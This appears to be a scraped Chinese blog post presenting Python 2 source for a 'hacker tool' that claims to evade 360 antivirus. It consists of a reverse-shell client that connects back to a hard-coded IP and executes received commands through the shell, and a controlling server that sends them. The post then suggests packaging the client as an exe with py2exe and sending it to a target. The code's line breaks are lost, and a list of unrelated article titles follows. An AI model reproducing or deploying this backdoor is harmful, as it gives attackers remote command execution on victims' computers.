Python写黑客小工具,360免杀
来源:互联网 发布:RBF神经网络算法 编辑:程序博客网 时间:2024/06/03 21:35
构思:
client:反向连接server,执行shell命令
server:发送命令,控制客户端
import subprocessimport socketimport threadingtarget="172.22.40.41"port=55555buffer=""def sendMag(c_socket): global buffer while True: #send cmd if len(buffer): try: print "c_buffer>>>>", buffer c_socket.send(buffer) except: print "socket send error" print buffer buffer="" def getMag(client_socket): global buffer while True: resc="" len_resc=1 while len_resc: datas=client_socket.recv(4096) len_resc=len(datas) resc+=datas if len_resc<4096: break if not len(resc): res_cmd="ERROR COMMAND" res_cmd=cmd(resc) try: if not len(res_cmd): res_cmd="NO MAG" buffer+=res_cmd except: print "soc send reeor" def c_rec(): global target global port client_socket=socket.socket(socket.AF_INET,socket.SOCK_STREAM) try: client_socket.connect((target,port)) except: print "SOCKET CONNECT FAILED" get_thread=threading.Thread(target=getMag,args=(client_socket,)) get_thread.start() send_thread=threading.Thread(target=sendMag,args=(client_socket,)) send_thread.start() def cmd(str): str=str.rstrip() try: res_cmd=subprocess.check_output(str,shell=True) except: res_cmd="ERROR COMMEND!!" if not len(res_cmd): res_cmd="ERROR BACK" return res_cmddef main(): c_rec()main()
import socketimport threadingtarget="0.0.0.0"port=55555def s_loop(): global target global port server=socket.socket(socket.AF_INET,socket.SOCK_STREAM) server.bind((target,port)) server.listen(5) while True: c_socket,addr=server.accept() print "A Client Connect" send_thread=threading.Thread(target=sendMag,args=(c_socket,)) send_thread.start() get_thread=threading.Thread(target=getMag,args=(c_socket,)) get_thread.start() def sendMag(c_socket): while True: #send cmd command=raw_input("#") try: if len(command): c_socket.send(command) except: print "server send error" def getMag(c_socket): while True: #get mag from client recvs="" len_rec=1 while len_rec: datas=c_socket.recv(4096) len_rec=len(datas) recvs+=datas if len_rec<4096: break print "get from Catc::",recvs def main(): s_loop()main()
可以用py2exe生成exe执行文件,发给测试者,如果有域名就更好了,可以在外网使用。
0 0
- Python写黑客小工具,360免杀
- python写的本地搜索小工具
- 用python写小工具_1
- python写小工具GUI框架wxPython
- python写的本地搜索小工具0.9
- 用python wx写了个启动小工具
- 一个用python写的用命令行看糗百的小工具
- Python 小工具集合
- [python] 用户名小工具
- python小工具
- Python 内置小工具
- python 小工具总结
- python小工具
- 101款精典黑客小工具使用说明.txt
- 100款经典黑客小工具使用说明
- 内核小工具自己写
- C++写的小工具
- python 单词翻译小工具
- POJ 2549:Sumsets
- web前台dwz框架
- android intent MIME type
- java大数据处理-大量数据到Excel
- 一步一步学习JTHarness
- Python写黑客小工具,360免杀
- Android 使用NDK编写 基于C层的守护进程
- Spring下设置CXF的WebService客户端超时时长
- 一张对比图搞定markdown 基本用法
- GitHub--如何参与一个GitHub开源项目?
- solr group分组查询
- 使用TextView/EditText应该注意的地方
- 《如果你到了25岁 ,还没到30岁。》——李开复
- 156,UIWebView访问url,报权限问题